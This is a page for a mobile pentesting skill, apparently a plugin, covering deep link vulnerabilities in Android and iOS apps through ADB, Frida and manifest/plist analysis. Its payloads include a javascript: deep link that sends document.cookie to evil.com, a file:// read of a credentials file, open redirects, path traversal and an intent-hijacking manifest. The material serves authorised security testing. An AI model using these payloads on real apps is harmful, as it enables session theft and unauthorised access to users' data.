Tests and exploits deep link vulnerabilities (URL Schemes, App Links) in Android/iOS apps, identifying unauthorized access, data injection, Intent hijacking, and redirection manipulation via ADB, Frida, and static analysis.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
使用此技能的场景:
Tests and exploits deep link vulnerabilities in Android and iOS mobile apps via URL schemes, App Links, and Universal Links to detect unauthorized access, data injection, intent hijacking, and redirects.
Tests deep link vulnerabilities in Android/iOS apps via ADB, apktool, and plist analysis to detect injection, intent hijacking, unauthorized access, and redirects.
Provides patterns for mobile deep linking including Android App Links, intent filters, assetlinks.json, Kotlin handlers, iOS Universal Links, URI schemes, and navigation.
Share bugs, ideas, or general feedback.
使用此技能的场景:
不适用于:未获得授权的情况 -- 深度链接利用可能在目标应用程序中触发意外操作。
Android - 从 AndroidManifest.xml 提取:
# 反编译 APK
apktool d target.apk -o decompiled/
# 搜索带深度链接 Scheme 的 Intent 过滤器
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
# 查找以下内容:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />
iOS - 从 Info.plist 提取:
# 提取 URL Scheme
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
# 提取 Universal Links(关联域名)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# 检查:applinks:target.com
# 验证 apple-app-site-association 文件
curl https://target.com/.well-known/apple-app-site-association
通过 ADB 测试 Android:
# 基本深度链接调用
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
# 使用注入载荷测试
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
# 测试路径遍历
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
# 测试 JavaScript 注入(如果在 WebView 中加载)
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
# 使用额外 Intent 参数测试
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
iOS 通过 Safari 或命令行:
# 从 Safari 触发 URL Scheme
# 导航至:myapp://dashboard?user_id=1337
# 使用 Frida 调用
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
Android:
# 创建注册相同 URL Scheme 的恶意应用
# 攻击者应用的 AndroidManifest.xml:
# <intent-filter>
# <action android:name="android.intent.action.VIEW" />
# <category android:name="android.intent.category.DEFAULT" />
# <category android:name="android.intent.category.BROWSABLE" />
# <data android:scheme="myapp" />
# </intent-filter>
# 当两个应用都安装时,Android 会显示选择对话框
# 在较旧的 Android 版本上,最先安装的应用可能处理链接
# 检查 App Links 验证(防止劫持)
adb shell pm get-app-links com.target.app
# 状态:verified = 安全
# 状态:undefined = 易受劫持攻击
# 如果深度链接在 WebView 中加载 URL,测试以下内容:
# 1. 开放重定向
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
# 2. 文件访问
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
# 3. 在 WebView 中执行 JavaScript
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
测试每个深度链接参数是否存在:
| 术语 | 定义 |
|---|---|
| 自定义 URL Scheme | 应用注册的协议(myapp://),调用时路由到特定的应用处理器 |
| App Links(Android) | 经验证的 HTTPS 深度链接,绕过选择对话框,直接在已验证的应用中打开 |
| Universal Links(iOS) | Apple 使用 Web 域名上的 apple-app-site-association JSON 文件进行验证的深度链接机制 |
| Intent 劫持(Intent Hijacking) | 恶意应用通过注册相同的 URL Scheme 或 Intent 过滤器来拦截深度链接 |
| WebView 桥接(WebView Bridge) | 暴露给 WebView 内容的 JavaScript 接口,可能通过深度链接加载的 URL 访问 |
am start 调用深度链接https://domain/.well-known/assetlinks.json 处的 assetlinks.json。